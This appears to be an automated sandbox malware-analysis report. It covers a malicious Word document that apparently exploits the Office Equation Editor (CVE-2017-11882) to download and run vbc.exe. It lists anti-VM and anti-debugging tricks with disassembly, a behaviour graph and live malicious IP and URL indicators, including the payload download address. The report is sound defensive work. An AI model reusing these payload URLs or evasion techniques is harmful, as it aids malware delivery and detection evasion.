Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\Public\vbc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\Public\vbc.exe RDTSC instruction interceptor: First address: 00000000037951C3 second address: 00000000037951C3 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 42A4596Fh 0x00000007 sub eax, FBADDA8Dh 0x0000000c xor eax, 87ED79C8h 0x00000011 xor eax, C11B072Bh 0x00000016 cpuid 0x00000018 popad 0x00000019 call 00007F6CCCC562DEh 0x0000001e lfence 0x00000021 mov edx, B78E5550h 0x00000026 xor edx, 614933DAh 0x0000002c add edx, 0CEF4ABFh 0x00000032 xor edx, 9C48B15Dh 0x00000038 mov edx, dword ptr [edx] 0x0000003a lfence 0x0000003d ret 0x0000003e test dx, bx 0x00000041 sub edx, esi 0x00000043 ret 0x00000044 pop ecx 0x00000045 cmp ch, 0000007Eh 0x00000048 add edi, edx 0x0000004a dec ecx 0x0000004b mov dword ptr [ebp+00000227h], 169B01A4h 0x00000055 xor dword ptr [ebp+00000227h], BF933C27h 0x0000005f fnop 0x00000061 sub dword ptr [ebp+00000227h], B3AFC749h 0x0000006b xor dword ptr [ebp+00000227h], F558763Ah 0x00000075 cmp ecx, dword ptr [ebp+00000227h] 0x0000007b jne 00007F6CCCC56285h 0x0000007d mov dword ptr [ebp+0000024Ch], esi 0x00000083 mov esi, ecx 0x00000085 push esi 0x00000086 mov esi, dword ptr [ebp+0000024Ch] 0x0000008c call 00007F6CCCC5633Fh 0x00000091 call 00007F6CCCC562FFh 0x00000096 lfence 0x00000099 mov edx, B78E5550h 0x0000009e xor edx, 614933DAh 0x000000a4 add edx, 0CEF4ABFh 0x000000aa xor edx, 9C48B15Dh 0x000000b0 mov edx, dword ptr [edx] 0x000000b2 lfence 0x000000b5 ret 0x000000b6 mov esi, edx 0x000000b8 pushad 0x000000b9 rdtsc
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1848 Thread sleep time: -180000s >= -30000s Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 3_2_037951BB rdtsc 3_2_037951BB
Source: C:\Users\Public\vbc.exe Code function: 3_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 3_2_00405C49
Source: C:\Users\Public\vbc.exe Code function: 3_2_00406873 FindFirstFileW,FindClose, 3_2_00406873
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040290B FindFirstFileW, 3_2_0040290B
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: C:\Users\Public\vbc.exe API call chain: ExitProcess graph end node
Source: vbc.exe, 00000003.00000002.688026500.00000000004E4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Anti Debugging
barindex
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 3_2_73281BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW, 3_2_73281BFF
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\Public\vbc.exe Code function: 3_2_037951BB rdtsc 3_2_037951BB
Contains functionality to read the PEB
Source: C:\Users\Public\vbc.exe Code function: 3_2_03797564 mov eax, dword ptr fs:[00000030h] 3_2_03797564
Source: C:\Users\Public\vbc.exe Code function: 3_2_037937EC mov eax, dword ptr fs:[00000030h] 3_2_037937EC
Source: C:\Users\Public\vbc.exe Code function: 3_2_03796A06 mov eax, dword ptr fs:[00000030h] 3_2_03796A06
Source: C:\Users\Public\vbc.exe Code function: 3_2_03796CD9 mov eax, dword ptr fs:[00000030h] 3_2_03796CD9
Source: C:\Users\Public\vbc.exe Code function: 3_2_037950A9 mov eax, dword ptr fs:[00000030h] 3_2_037950A9
Source: C:\Users\Public\vbc.exe Code function: 3_2_03798130 RtlAddVectoredExceptionHandler, 3_2_03798130

HIPS / PFW / Operating System Protection Evasion
barindex
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe" Jump to behavior
Source: C:\Users\Public\vbc.exe Code function: 3_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 3_2_0040352D
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 561321 Sample: lUkTchBi9r Startdate: 27/01/2022 Architecture: WINDOWS Score: 100 29 Multi AV Scanner detection for domain / URL 2->29 31 Found malware configuration 2->31 33 Antivirus detection for URL or domain 2->33 35 13 other signatures 2->35 6 EQNEDT32.EXE 12 2->6         started        11 WINWORD.EXE 291 21 2->11         started        process3 dnsIp4 27 172.245.119.43, 49165, 80 AS-COLOCROSSINGUS United States 6->27 17 C:\Users\user\AppData\Local\...\vbc[1].exe, PE32 6->17 dropped 19 C:\Users\Public\vbc.exe, PE32 6->19 dropped 37 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 6->37 13 vbc.exe 19 6->13         started        21 ~WRF{B32AB2E9-05F1...B-076D90494645}.tmp, Composite 11->21 dropped file5 signatures6 process7 file8 23 C:\Users\user\AppData\Local\...\System.dll, PE32 13->23 dropped 25 C:\Users\user\AppData\Local\...\Bosporus5.dat, DOS 13->25 dropped 39 Multi AV Scanner detection for dropped file 13->39 41 Tries to detect virtualization through RDTSC time measurements 13->41 signatures9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.245.119.43
 unknown United States
36352 AS-COLOCROSSINGUS true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://bangladeshshoecity.com/images/2w true
  • Avira URL Cloud: safe
 unknown
http://172.245.119.43/344/vbc.exe true
  • 12%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown